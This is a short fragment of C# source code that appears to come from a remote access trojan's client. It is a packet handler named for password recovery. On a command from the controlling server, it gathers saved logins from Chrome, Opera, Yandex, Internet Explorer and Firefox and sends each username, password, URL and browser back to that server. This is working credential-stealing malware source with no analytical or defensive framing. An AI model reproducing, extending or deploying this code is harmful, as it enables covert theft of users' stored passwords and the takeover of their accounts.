public static void HandlePasswordRequest(Packets.ServerPackets.RecoverPassRequest packet, Client client) { // MessageBox.Show("Got a pass request"); List <LoginInfo> mainList = new List <LoginInfo>(); mainList.AddRange(Chrome.Passwords()); mainList.AddRange(Opera.Passwords()); mainList.AddRange(Yandex.Passwords()); mainList.AddRange(InternetExplorer.Passwords()); mainList.AddRange(Firefox.Passwords()); List <string> raw = new List <string>(); foreach (LoginInfo value in mainList) { string rawValue = string.Format("{0}|$|{1}|$|{2}|$|{3}", value.Username, value.Password, value.URL, value.Browser); raw.Add(rawValue); } new Packets.ClientPackets.RecoverPassResponse(raw).Execute(client); }